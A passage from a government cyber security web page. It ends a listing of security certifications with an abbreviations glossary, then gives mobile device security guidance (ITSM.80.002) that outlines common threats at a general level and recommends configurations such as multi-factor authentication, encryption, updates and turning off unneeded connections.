Administrators</li> <li>Network Engineers</li> <li>Computer Software Engineers</li> <li>Aspiring Penetration Testers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">IT Security Expert/SOC (S-ITSE/SOC)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates that a candidate has acquired the knowledge and skills necessary to assume responsibility for threat detection, analysis and response, and can improve an organization’s overall security poster</li> <li>Candidates should have a basic understanding of TCP/IP, operating system fundamentals and common security concepts, and 2 years of experience in a SOC</li> <li>Prerequisite is the S-ITSP or equivalent</li> <li>Candidates can choose 1 of 2 specializations: SOC Manager or IT Security Manager</li> <li>Valid for 1 year</li> <li>To renew, candidates must pay annual membership fees and obtain 120 continuing education credits over the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals that want to become Tier I/Tier II Soc Analysts</li> <li>Future SOC Managers</li> <li>System Engineers</li> <li>Security Analysts</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">IT Security Foundation (S‑ITSF)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level certification</li> <li>Validates that a candidate has a basic understanding of computer architecture, common hardware vulnerabilities and security measures</li> <li>No prerequisites and suitable for beginners with basic understanding of computers and technology</li> <li>Exam consists of 40 multiple choice questions</li> <li>Valid for life and not subject to re-certification requirements</li> </ul><h5>Intended candidates</h5> <ul><li>Network or System Administrator</li> <li>Individuals looking to start a career in IT Security</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">IT Security Practitioner (S‑ITSP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s technical competencies in vulnerability management, firewall and network security, security architecture and penetration testing</li> <li>Candidates should have a good understanding of fundamental IT security terms, concepts and principle</li> <li>IT Security Foundation certificate (or equivalent) is recommended</li> <li>Exam includes 10 multiple choice questions, 5 open questions, and 1 case study</li> <li>Valid for 1 year</li> <li>To renew, candidates must pay annual membership fees and obtain 60 continuing education credits during the year</li> </ul><h5>Intended candidates</h5> <ul><li>Security Administrators</li> <li>Security Analysts</li> <li>Security Architects</li> <li>Security Auditors</li> <li>Future SOC Analysts</li> </ul></details></div> </section><div class="pull-right mrgn-tp-md small text-muted mrgn-bttm-md"><a href="#wb-tphp" title="Return to Top of page">Top of page</a></div> <div class="clearfix"> </div> <section><h2 id="E">5.0 Cyber Security certification listings and descriptions</h2> <details><summary><h3>5.1 List of abbreviations</h3> </summary><dl class="dl-horizontal"><dt>AI</dt> <dd>Artificial Intelligence</dd> <dt>(ICS)2</dt> <dd>International Information Systems Security Certification Consortium</dd> <dt>C3</dt> <dd>Cyber Credentials Collaborative</dd> <dt>CCSMS</dt> <dd>Central configuration setting management system</dd> <dt>CNSS</dt> <dd>Committee on National Security Systems</dd> <dt>CompTIA</dt> <dd>Computing Technology Industry Association</dd> <dt>CREST</dt> <dd>Council for Registered Ethical Testers</dd> <dt>CSA</dt> <dd>Cloud Security Alliance</dd> <dt>CSE</dt> <dd>Communications Security Establishment</dd> <dt>CWNP</dt> <dd>Certified Wireless Network Professionals</dd> <dt>Cyber Centre</dt> <dd>Canadian Centre for Cyber Security</dd> <dt>GIAC</dt> <dd>Global Information Assurance Certification</dd> <dt>GCHQ</dt> <dd>Government Communications Headquarters</dd> <dt>IAS</dt> <dd>International Accreditation Service</dd> <dt>IEC</dt> <dd>International Electrotechnical Commission</dd> <dt>ICS</dt> <dd>Industrial control systems</dd> <dt>IEEE</dt> <dd>Institute of Electronic Engineers</dd> <dt>INTERPOL</dt> <dd>International Criminal Police Organization</dd> <dt>IoT</dt> <dd>Internet of Things</dd> <dt>IS</dt> <dd>Information System</dd> <dt>ISACA</dt> <dd>Information Systems Audit and Control Association</dd> <dt>ISO</dt> <dd>International Organization for Standardization</dd> <dt>IT</dt> <dd>Information technology</dd> <dt>NERC CIP</dt> <dd>North American Electric Reliability Corporate Critical Infrastructure Protection</dd> <dt>NICCS</dt> <dd>National Initiative for Cyber Security Careers and Studies</dd> <dt>NIST</dt> <dd>National Institute of Standards and Technology</dd> <dt>NSA</dt> <dd>National Security Agency</dd> <dt>OS</dt> <dd>Operating system</dd> <dt>OSI</dt> <dd>Open systems interconnection</dd> <dt>PCI</dt> <dd>Payment card industry</dd> <dt>RBC</dt> <dd>Royal Bank of Canada</dd> <dt>RFID</dt> <dd>Radio frequency identification</dd> <dt>SCADA</dt> <dd>Supervisory control and data acquisitions</dd> <dt>SDLC</dt> <dd>Software development life cycle</dd> <dt>SECO</dt> <dd>Security and Continuity Institute</dd> <dt>SIEM</dt> <dd>Security Information and Event Management</dd> <dt>SOC</dt> <dd>Security Operations Centre</dd> <dt>TSP/IP</dt> <dd>Transmission control Protocol/Internet Protocol</dd> <dt>UKAS</dt> <dd>United Kingdom Accreditation Service</dd> <dt>VPN</dt> <dd>Virtual private network</dd> <dt>WLAN</dt> <dd>Wireless local area network</dd> </dl></details><aside class="wb-fnote" role="note"><h3 id="fn">5.2 References</h3> <dl><dt>1</dt> <dd id="fn1"> <p>Steve Morgan. “<a href="https://cybersecurityventures.com/10-hot-cybersecurity-certifications-for-it-professionals-to-pursue-in-2019/" rel="external">10 Hot Cybersecurity Certifications for IT Professionals to Pursue in 2020</a>”, Cyber Crime Magazine. 24 May, 2020.</p> <p class="fn-rtn"><a href="#fn*-rf"><span class="wb-inv">Return to footnote </span>1<span class="wb-inv"> referrer</span></a></p> </dd> <dt>2</dt> <dd id="fn2"> <p>Every effort has been made to ensure the accuracy of the information in this table; however, the information is subject to change at any time.</p> <p class="fn-rtn"><a href="#fn2-rf"><span class="wb-inv">Return to footnote </span>2<span class="wb-inv"> referrer</span></a></p> </dd> </dl></aside></section></div> </div> </div> </div> </div> </div> </div> </article>

<article data-history-node-id="7561" about="/en/guidance/security-configurations-best-practices-protect-your-mobile-device-itsm80002" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row"> <div class="col-md-4 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>May 2026</strong></p> </div> <div class="col-md-4 hidden-xs hidden-sm"> <p class="text-center"><strong>Management series</strong></p> </div> <div class="col-md-4 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSM.80.002</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>May 2026 | Management series</strong></p> </div> <div class="col-md-12 mrgn-tp-lg"> <h2 class="text-info mrgn-tp-0">Foreword</h2> <section><p>In today’s digital landscape, mobile devices play a pivotal role in our daily lives, aiding in productivity, enabling seamless communication, and facilitating transactions. Their significance extends beyond personal use, impacting the efficiency and success of businesses as well. Despite the numerous benefits of mobile device, the surge in their usage has also heightened the risk of security threats and highlights the need to protect them.</p> <p>At a personal level, individuals rely heavily on mobile devices like smartphones, tablets, and laptops to store important information such as contacts, passwords, emails, and personal data. Consequently, it is imperative protect these devices against unauthorized access. Similarly, within organizations, mobile devices are essential tools for communicating, collaborating, and accessing corporate data. However, the inherent vulnerability of these devices makes them attractive targets for threat actors. A security breach not only puts clients’ and employees’ personal data at risk but also has significant consequences for the organization. Unauthorized access could potentially compromise confidential business information, client and employee data, and other proprietary information and amplify the severity of a breach.</p> <p>This publication outlines the fundamental best practices for securing mobile devices, with the objective of preserving the integrity of sensitive information and protecting users and organizations from potential breaches.</p> <details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#Intro">1. Introduction</a> <ul><li><a href="#Mobile-security">1.1 Importance of mobile device security</a></li> <li><a href="#Types-threats">1.2 Types of mobile security threats</a></li> </ul></li> <li><a href="#Best-practices">2. Mobile device security best practices</a> <ul><li><a href="#Security-configuration">2.1 Mobile device security configuration recommendations</a></li> <li><a href="#Additional-practices">2.2 Additional best practices and tips to secure your mobile device</a></li> <li><a href="#Additional-ressources">2.3 Additional resources on mobile security</a></li> </ul></li> <li><a href="#Summary">3. Summary</a></li> </ul></details></section><section><h2 class="text-info" id="Intro">1 Introduction</h2> <p>With the increasing reliance on mobile devices for both personal and professional use, it is crucial for organizations to ensure the security of mobile devices. Mobile device security involves implementing measures and practices to defend against a variety of threats, including privacy breaches and unauthorized access to sensitive data. Mobile device security also includes a range of strategies and technologies aimed at ensuring the confidentiality, integrity and availability of information stored on mobile devices.</p> <h3 id="Mobile-security">1.1 Importance of mobile device security</h3> <p>Mobile device security is critical for organizations due to their widespread use, where employees often access work-related data and correspondence. These devices are vulnerable to various security threats such as malware, data breaches and unauthorized access. Many organizations have specific compliance and legal requirements for protecting client and employee information.</p> <p>Failure to secure mobile devices can result in legal consequences and reputational damage. Implementing proper mobile security measures is an important step in preventing data breaches, safeguarding sensitive corporate information, and protecting client and employee data. A security breach on a mobile device could result in substantial financial implications associated with data recovery and legal implications. Mobile security measures are also crucial for compliance and for maintaining trust, credibility and the overall integrity of your organization.</p> <p>The following publications from the Cyber Centre encompass a range of strategies, guidelines and best practices for enhancing mobile security measures within organizational frameworks:</p> <ul><li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="a8b8b4c0-568c-4225-9ba3-9f4e546a6204" href="/en/guidance/device-security-travel-and-telework-abroad-itsap00188">Device security for travel and telework abroad (ITSAP.00.188)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="130c4aab-5f74-49f0-beb1-b2c3edaf6c33" href="/en/guidance/mobile-device-guidance-high-profile-travellers-itsap-00088">Mobile device guidance for high profile travellers (ITSAP.00.088)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="c9cbfaae-471a-4c9b-a691-67c9f13eb776" href="/en/guidance/mobile-devices-and-business-travellers-itsap00087">Mobile devices and business travellers (ITSAP.00.087)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="7aa3f54a-1d31-4a82-aa41-93dec6e4dc73" href="/en/guidance/security-considerations-mobile-device-deployments-itsap70002">Security considerations for mobile device deployments (ITSAP.70.002)</a></li> <li><a href="https://www.cyber.gc.ca/en/guidance/securing-enterprise-mobility-itsm80001">Securing the enterprise for mobility (ITSM.80.001)</a></li> </ul><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a>  <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <div class="clearfix"> </div> <h3 id="Types-threats">1.2 Types of mobile security threats</h3> <p>Understanding the various types of threats is essential for protecting both your devices and the valuable data they store.</p> <p>The threat landscape for mobile devices is multifaceted and encompasses:</p> <ul><li>malicious applications (apps)</li> <li>network-level vulnerabilities</li> <li>exploits that target weaknesses within both the device and the mobile operating system (OS)</li> </ul><p>The following section provides an overview of common threat vectors.</p> <h4>1.2.1 Malicious applications and malware</h4> <p>When downloading and using applications, you may inadvertently download malware and infect your mobile device and, possibly, the environment to which they connect. Even apps downloaded from mobile device app stores, can pose a threat by disguising themselves as legitimate. They can perform malicious functions, such as gaining remote access, intercepting text messages, compromising sensitive data or taking control of the device. Trojans are among the most common threats. This type of malware disguises itself as legitimate code or software and is frequently involved in ad and click scams.</p> <p>Threat actors use malware loaders to inject malicious code into seemingly secure applications, slipping through initial security measures before they are detected and removed. Once a mobile device is compromised, these applications can execute various invasive actions, such as activating key loggers, accessing the camera and audio functions, and obtaining extensive permissions on your device.</p> <p>Besides trojans, threat actors may target mobile devices using diverse malware threats, including:</p> <ul><li>mobile ransomware that encrypts data for a ransom</li> <li>mobile phishing or smishing using deceptive links</li> <li>voice phishing (vishing) through phone calls</li> <li>spyware that secretly monitors user activities</li> <li>adware that displays intrusive ads</li> </ul><p>These threats exploit vulnerabilities, use social engineering and compromise user privacy.</p> <h4 id="1.2.2">1.2.2 Browser-based malware</h4> <p>Browser-based malware is malicious software that exploits vulnerabilities in web browsers, using web technologies to compromise the mobile device. Unlike apps downloaded from official app stores, which undergo malware scans and inspections, browser scripts execute arbitrary code sent by remote servers without prior vetting or inspection. This makes browser attacks highly effective. Even though modern browsers implement security measures such as sandboxing to mitigate the impact of browser exploits, existing vulnerabilities may still allow the malware to evade these measures and potentially compromise the mobile device. A subset of this threat involves "web apps" that can be downloaded from application stores. These web apps can be downloaded from a mobile app store, contain minimal code downloaded to the mobile device, and run on a web browser via a custom user interface. The code opens an instance of the system browser and displays a custom web page that may initially pass vetting because the benign content is provided remotely, but later switch to delivering malicious content.</p> <h4 id="1.2.3">1.2.3 Network attacks</h4> <p>Network attacks targeting mobile devices present an array of cyber threats that exploit vulnerabilities in communication channels. These attacks can take various forms, such as adversary-in-the-middle (AitM) attacks and Wi-Fi eavesdropping, each of which pose distinct risks.</p> <h4 id="1.2.4">1.2.4 Adversary-in-the-middle attacks</h4> <p>In <abbr title="adversary-in-the-middle">AitM</abbr> attacks, threat actors intercept the information exchange between 2 parties without their knowledge. This can occur in various ways, including online transactions, email communication or data transfers over networks. Threat actors engage in these attacks to manipulate information, steal data or introduce malicious software.</p> <p>Mobile devices are particularly susceptible to <abbr title="adversary-in-the-middle">AitM</abbr> attacks, as opposed to web traffic which commonly employs encrypted HTTPS for secure communication. You can often determine if a website is secure by looking for the lock symbol within the address bar, which provides additional information about the site’s security. Conversely, text messages (SMS) and many mobile apps used for voice and text communication often lack encryption, making them susceptible to interception.</p> <h4 id="1.2.5">1.2.5 Wi‑Fi eavesdropping and spoofing</h4> <p>Wi-Fi eavesdropping occurs when threat actors intercept Wi-Fi traffic, especially on a public unsecured Wi-Fi network. This can potentially result in data theft, unauthorized access or the installation of malicious software. Mobile devices connecting to open Wi-Fi networks are particularly susceptible to these intrusions.</p> <p>Wi-Fi protection access 3 (WPA3) represents the current standard for Wi-Fi security, addressing some shortcomings of the previous version, Wi-Fi protection access 2 (WPA2). While <abbr title=" Wi-Fi protection access 2">WPA2</abbr> remains generally suitable for most use cases, it lacks protection against de-authentication attacks— a type of cyber attack on wireless networks. In a de-authentication attack, threat actors force devices on a Wi-Fi network to disconnect. This disconnection can then be exploited to force the device to reconnect, allowing the threat actor to observe the initial connection. If someone with the network password observes this initial connection, they can decrypt the <abbr title=" Wi-Fi protection access 2">WPA2</abbr> protection, exposing all transmitted data. This vulnerability may enable threat actors to gain unauthorized access to the device or exploit opportunities for malicious activities.</p> <p>Both <abbr title=" Wi-Fi protection access 2">WPA2</abbr> and <abbr title="Wi-Fi protection access 3">WPA3</abbr> are vulnerable to spoofing attacks. Such attacks occur when someone with the network password creates a spoofed network impersonating the real access point and gains access to the traffic being transmitted over the network. You can mitigate this risk by configuring <abbr title="Wi-Fi protection access 3">WPA3</abbr> to use the Simultaneous Authentication of Equals protocol with Public Key Cryptography (SAE-PK). In this configuration, even if a threat actor has the network password, they will still need the corresponding private key to successfully authenticate. Unfortunately, this capability has not yet been widely adopted, and many access points still operate with weaker defaults.</p> <h4 id="1.2.6">1.2.6 Advanced jailbreaking and rooting techniques</h4> <p>Users who want more privileges for greater control over their devices may use jailbreaking and rooting techniques. This involves removing software restrictions imposed by the operating system to gain higher privileges, essentially allowing users to access and modify parts of the device’s file system that would otherwise be restricted. This process allows users to remove unwanted default applications or install applications from unofficial stores.</p> <p>In essence, while jailbreaking and rooting may offer users increased customization and control, it exposes devices to heightened security risks. If users do not implement strong alternate security controls, threat actors may exploit these vulnerabilities to access more data and inflict greater damage than they would if users keep the default operating system permissions.</p> <h4 id="1.2.7">1.2.7 Multi‑factor authentication bypass attacks</h4> <p>Multi-factor authentication (MFA) typically involves the use of multiple verification methods to enhance the protection of sensitive data and systems. These can include one-time passwords, digital tokens or biometric authentication.</p> <p><abbr title="Multi-factor authentication">MFA</abbr> bypass attacks encompass a range of tactics employed by threat actors to evade the additional layers of security implemented by <abbr title="Multi-factor authentication">MFA</abbr> systems. This includes voice phishing, or "vishing", a form of social engineering where threat actors employ phone calls to trick you in divulging <abbr title="Multi-factor authentication">MFA</abbr> codes or sensitive details like personal information or financial data. In contrast with traditional phishing through emails, vishing relies on manipulating individuals through voice communication. Criminals often use caller ID spoofing and voice-changing programs to create convincing pre-recorded messages.</p> <p>Additionally, <abbr title="Multi-factor authentication">MFA</abbr> bypass attacks may:</p> <ul><li>exploit flaws in the implementation of one-time passwords</li> <li>intercept or manipulate communication channels</li> <li>compromise biometric authentication systems</li> <li>leverage social engineering techniques to trick users into revealing their authentication credentials</li> </ul><p>Another <abbr title="Multi-factor authentication">MFA</abbr> security threat to be aware of is the <abbr title="Multi-factor authentication">MFA</abbr> fatigue attack, also known as <abbr title="Multi-factor authentication">MFA</abbr> bombing or <abbr title="Multi-factor authentication">MFA</abbr> spamming. In this social engineering cyber attack, threat actors overwhelm the target with numerous <abbr title="Multi-factor authentication">MFA</abbr> requests until that person approves the login attempt. The goal is to pressure the victim into confirming their identity through the notifications, providing an opportunity for attackers to gain unauthorized access to the victim’s account or device.</p> </section><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a>  <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <div class="clearfix"> </div> <section><h2 class="text-info" id="Best-practices">2 Mobile device security best practices</h2> <p>Securing data on mobile devices is crucial to protecting your personal information and your organization’s sensitive data. Mobile devices are attractive targets for threat actors due to the amount of personal and potentially sensitive information they contain. A compromised mobile device has the potential to allow unauthorized access to your organization’s network, placing not only your own information at risk, but also that of your organization.</p> <p>The following section provides guidance on mobile device security configurations and best practices users and organizations can implement to enhance their security posture.</p> <h4 id="Security-configuration">2.1 Mobile device security configuration recommendations</h4> <p>This section describes the various configuration features available on mobile devices and provides insights into how users can selectively activate or deactivate them to maximize the security of their devices.</p> <h4 id="2.1.1">2.1.1 Enable multi‑factor authentication</h4> <p>One of the most effective ways of securing your mobile device involves implementing strong passwords and multi-factor authentication, preferably phishing-resistant <abbr title="Multi-factor authentication">MFA</abbr>, in the login process. While enabling <abbr title="Multi-factor authentication">MFA</abbr> on your mobile device may include receiving an <abbr title="text messages">SMS</abbr> with a code on your phone, it’s important to note that <abbr title="text messages">SMS</abbr> text codes are not considered a strong second authentication method because they can be intercepted and potentially compromised by malicious software on the device. Opting for more secure <abbr title="Multi-factor authentication">MFA</abbr> alternatives, like authenticator apps, passkeys, hardware tokens, near-field communication, or biometrics such as fingerprint, face or retina scans, is a better approach to authentication.</p> <p>Introducing this additional step in the login process enhances security by providing an extra layer of protection. It makes it more challenging for threat actors to access your account, even if they are aware of your password.</p> <p>It’s crucial to avoid using identical passwords across multiple accounts. Choosing unique ones and regularly updating them will enhance security. To mitigate potential risks, particularly in the event of device loss, refrain from storing passwords in browsers or writing them down and storing the paper in your device case.</p> <p>For more on passwords, passphrases and <abbr title="Multi-factor authentication">MFA</abbr> refer to:</p> <ul><li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="32369248-5885-44f2-9af9-d4a80bb9c8b6" href="/en/guidance/best-practices-passphrases-and-passwords-itsap30032">Best practices for passphrases and passwords (ITSAP.30.032)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="df4d897c-c726-4e48-8901-408ba2bdf6d3" href="/en/guidance/secure-your-accounts-and-devices-multi-factor-authentication-itsap30030">Secure your accounts and devices with multi-factor authentication (ITSAP.30.030)</a></li> </ul><h4 id="2.1.2">2.1.2 Use the built‑in virtual private network</h4> <p>In instances where using public Wi-Fi is unavoidable, consider implementing extra security measures, such as using your mobile device’s built-in virtual private network (VPN) to encrypt Internet activity. This provides an additional layer of protection to data transmission and helps shield against potential threats on public networks. Understand, however, that while using a <abbr title="built-in virtual private network">VPN</abbr> is beneficial, it may not offer foolproof cyber security when accessing public Internet. Avoid using third-party <abbr title="built-in virtual private network">VPN</abbr> services as they may introduce security vulnerabilities that can compromise user privacy and overall network security. By avoiding third-party <abbr title="built-in virtual private network">VPN</abbr>s, you reduce the risk associated with trusting external providers with your network traffic and data.</p> <h4 id="2.1.3">2.1.3 Use encryption</h4> <p>Enable the built-in encryption feature on your mobile device to protect stored data from unauthorized access. This security measure encrypts your data, ensuring it is accessible only to authorized users. By using the built-in encryption feature, you can protect your device against potential compromise and unauthorized access, especially in situations like theft.</p> <h4 id="2.1.4">2.1.4 Update devices and applications regularly</h4> <p>To prevent threat actors from accessing your devices and exploiting vulnerabilities in software and apps, you should turn on automatic updates and periodically check for manual updates to ensure both the OS and installed applications are current. OS and app updates typically include security patches and fixes that address known vulnerabilities. Implementing these updates not only improves functionality and performance but also minimizes the risk of data loss due to crashes or errors. If you fail to enforce software updates or neglect application patches, you can create opportunities for threat actors, who closely monitor software vulnerabilities, to breach your network.</p> <p>Consult <a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="639ede31-0d64-45cb-9688-664b3ee445cb" href="/en/guidance/how-updates-secure-your-device-itsap10096">How updates secure your device (ITSAP.10.096)</a> for more information on the advantages of keeping your OS and applications up to date.</p> <h4 id="2.1.5">2.1.5 Turn on screen lock</h4> <p>Given the susceptibility of laptops and smartphones to loss or theft, especially in public spaces, it is important to ensure that the device has a screen lock. Screen lock serves as a layer of defence, requiring authentication such as a PIN, password or biometric to access the device and its contents. This not only safeguards personal and sensitive data, but also helps prevent unauthorized use of the device, reinforcing overall device security.</p> <h4 id="2.1.6">2.1.6 Exercise caution when granting permission</h4> <p>Exercise caution when granting permissions to mobile applications and evaluate whether the permissions align with the app’s intended functionality. Regularly review and manage app permissions to restrict unnecessary access to sensitive data. Only allow the minimum necessary access for the app to perform its designated functions. Avoid granting permissions that seem unrelated to the app’s actual purpose, especially to things such as location, camera and microphone. Unnecessary access to sensitive information may pose privacy and security risks.</p> <p>Thoroughly evaluate terms, conditions and privacy statements, as data collection under these terms is considered legitimate across all mobile platforms. Users and enterprises should not rely on anonymization mechanisms as foolproof ways of preventing data leaks or safeguarding user identity. Any information that an application gains permission to access should be considered beyond enterprise control and already disclosed.</p> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a>  <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <div class="clearfix"> </div> <h4 id="2.1.7">2.1.7 Deactivate and turn off automatic connections</h4> <p>To reduce the risk of potential security threats, you should deactivate Bluetooth and Wi-Fi when you are not actively using them. By doing so, you can minimize your exposure and reduce the attack vectors and access points that threat actors may exploit.</p> <p>When using Bluetooth, enable the "ask before connecting" option to prevent automatic connections. Bluetooth-enabled devices, while convenient, are susceptible to various mobile security threats, such as compromised privacy and gaining access to encompassing contact lists, personal information, credentials, email, and message content. The following are some of the risks you may incur when you enable Bluetooth on a mobile device:</p> <ul><li>unauthorized device control</li> <li>disruptions in functionality</li> <li>eavesdropping on audio connections</li> <li>compromise of smart locks and security devices used to protect facilities and vehicles</li> <li>spoofing attacks leading to nuisance and denial of service</li> <li>injection of malicious commands and data</li> </ul><p>Deactivating automatic connection to public Wi-Fi enhances overall security by preventing unauthorized access, minimizing the risk of cyber attacks and preserving user privacy. It allows users to make conscious and informed choices when connecting to networks, reducing vulnerability to potential security threats associated with public Wi-Fi environments.</p> <p>Deactivating Bluetooth and Wi-Fi requires intentional effort, emphasizing the importance of ongoing awareness and active management of these features.</p> <h4 id="2.1.8">2.1.8 Turn off location tracking</h4> <p>Location tracking on a mobile device is a feature used to monitor and record your geographic location. You can control and manage location settings through your device’s system preferences or settings menu. While enabling location tracking can enhance the functionality of services, such as mapping, navigation and location-basned applications, it’s important to note that when this feature is active, the device constantly collects and stores location data. This may pose a potential risk if accessed by unauthorized individuals. To safeguard your privacy, you should deactivate location tracking settings when they are not needed.</p> <p>It’s worth noting that in the latest OS releases, many devices offer the option to choose between precise or approximate location tracking. While approximate location tracking may offer a degree of privacy, not all applications may function correctly with this option selected. Even when approximate location tracking does work, it should not be solely relied upon, particularly when the location data of an individual is considered sensitive.</p> <h4 id="2.1.9">2.1.9 Turn off autofill</h4> <p>The password autofill feature is found in most browsers and password managers and is used to automatically populate login credentials on websites and applications. Threat actors can hide behind compromised websites and gain access to saved passwords and personal information stored in autofill, leaving users vulnerable to identity theft and other forms of cyber attacks. You can prevent this by disabling this feature on your device.</p> <h4 id="2.1.10">2.1.10 Keep wireless connection on hidden mode</h4> <p>When your wireless connection is in hidden mode, it adds an additional layer of privacy and security because others won’t see your network listed when scanning for available Wi-Fi networks. In general, keep your wireless connection on hidden mode unless you specifically need to be visible to others.</p> <h4 id="2.1.11">2.1.11 Turn off USB debugging</h4> <p>To prevent unauthorized access to your device via USB connections, turn off USB debugging when not needed. USB debugging is a feature that allows your device to communicate with a computer via a USB connection. Keeping USB debugging activated when it is not actively in use can create a potential entry point for threat actors to exploit vulnerabilities and gain unauthorized control of your device.</p> <h4 id="2.1.12">2.1.12 Configure browser settings</h4> <p>You can enhance your browsing security by configuring browser settings to block pop-ups, activate the do not track feature and manage cookies. Cookies, which can store login information, may be compromised if accessed by threat actors. You should regularly update your browser to the latest version to address potential vulnerabilities and always exercise caution when navigating the web.</p> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a>  <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <h3 id="Additional-practices">2.2 Additional best practices</h3> <p>The following are additional tips you should consider when using your mobile devices. These are not mobile configuration suggestions but rather overall best practices that can help improve the security of your mobile devices and safeguard your privacy.</p> <h4 id="2.2.1">2.2.1 Use password managers</h4> <p>Managing numerous passwords can be tedious, frustrating, and often leads to difficulty in remembering them. As previously mentioned, we recommend turning off the password autofill feature on your device. Additionally, it is important to avoid storing credentials in unprotected apps. Instead, adopt the use of a password manager – a secure repository for all your passwords, protected by an exclusive "primary" password accessible only to you. This not only simplifies password management, but it also helps generate strong passwords, mitigating the risk associated with creating predictable ones. To further enhance your mobile password security, consider integrating a password manager with an <abbr title="Multi-factor authentication">MFA</abbr> application.</p> <p>Consult <a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="b417de95-576e-44d9-b445-1cd620a7deba" href="/en/guidance/password-managers-security-itsap30025">Password managers: Security tips (ITSAP.30.025)</a> for guidance on using a password manager.</p> <h4 id="2.2.2">2.2.2 Back up your data</h4> <p>If your mobile device is compromised or if it falls into the wrong hands, you risk losing all data, including contacts and photos. Having a cloud-based solution that automatically performs backups not only ensures data recovery but also enhances overall information security and facilitates retrieval in the event of a compromise. Automating backups makes it convenient, allowing backups during periods of low phone usage. While an automated cloud backup is generally suitable for personal data, you should verify this feature’s compatibility with enterprise cloud data service policies (for example, on retention, data residency or encryption) before enabling it for enterprise data.</p> <p>It’s important to know that remote backups are vulnerable to potential threats. To help mitigate these risks, you should incorporate encryption practices into the backup process. This can be achieved by choosing secure backup solutions with built-in encryption features, ensuring end-to-end encryption for data security during transmission and storage. Prioritizing client-side encryption adds an extra layer of protection by encrypting data on the user’s device before transmitting it to the remote backup server. This approach ensures that even in the event of server compromise, the encrypted data stored in the cloud remains indecipherable without the corresponding decryption key.</p> <h4 id="2.2.3">2.2.3 Use preventative security tools</h4> <p>When you download compromised apps or files on your mobile device, you risk downloading malware. Once malware is activated, threat actors can exploit it to compromise your data, thereby putting your security and privacy at risk. To mitigate this risk, make sure your device is equipped with up-to-date and reputable preventative security tools. These tools include antivirus software, firewalls, and intrusion detection and prevention systems. Certain antivirus applications offer additional features, such as:</p> <ul><li>wiping data in case of a lost device</li> <li>tracking and blocking suspicious callers</li> <li>identifying unsafe applications</li> <li>clearing browsing history</li> <li>deleting cookies</li> </ul><p>Firewalls should be activated whenever possible to enhance the protection of your device. Incorporating intrusion detection and prevention systems into mobile security practices can help you detect, respond to, and mitigate advanced threats that may bypass firewalls. This can strengthen the overall security posture of your mobile ecosystems.</p> <h4 id="2.2.4">2.2.4 Beware of untrustworthy applications</h4> <p>It is important to exercise caution when installing or using apps and to avoid those deemed untrustworthy. Be vigilant and selective about the apps you choose to install or to which you grant permissions. This can help minimize potential risks to your device and personal data. You should download mobile applications exclusively from official application marketplaces or app stores. However, you should not solely rely on application store vetting or approval, as many applications may collect significant data and pose a threat due to the scope and breadth of data collected.</p> <p>Be aware that some applications could disguise themselves as web applications where the content is remotely delivered as a web page. As previously mentioned, the remote content delivered at the time of vetting could be totally benign but can later change to malicious web content containing a browser-based exploit.</p> <p>We recommend that, before you include any application in an enterprise app store, you should use third-party vetting services and app reputation services and conduct an internal app inspection.</p> <h4 id="2.2.5">2.2.5 Log out</h4> <p>Regularly check your device’s accounts and log out from unused accounts. Make it a habit to log out from mobile applications every time you have finished using them. In addition to logging out of your applications, you should power down your mobile device and turn it back on a weekly basis as an additional mitigation against some cyber attacks, like spear phishing and zero-click exploits.</p> <h4 id="2.2.6">2.2.6 Do not leave devices unattended</h4> <p>Leaving mobile devices unattended increases the risk of unauthorized access and theft, potentially compromising sensitive data. It’s important to always keep mobile devices with you or store them securely when not in use to mitigate these risks effectively.</p> <h4 id="2.2.7">2.2.7 Avoid public charging stations</h4> <p>If possible, you should avoid charging your mobile devices in public charging ports or stations. They can be a possible vector for threat actors to gain access to your device. If you have to charge your device using a public port, consider using a USB data blocker to block and prevent data being transferred from your device when you plug it into a charging port.</p> <h4 id="2.2.8">2.2.8 Avoid bypassing security features</h4> <p>Manufacturers incorporate security restrictions and features on their devices to protect users’ devices and data. As mentioned earlier, bypassing security features (known as jailbreaking or rooting) removes these features. If you do not intend to implement strong alternate security controls, avoid bypassing these manufacturer security features, as doing so may expose the device to increased vulnerability to malware and other security threats.</p> <h4 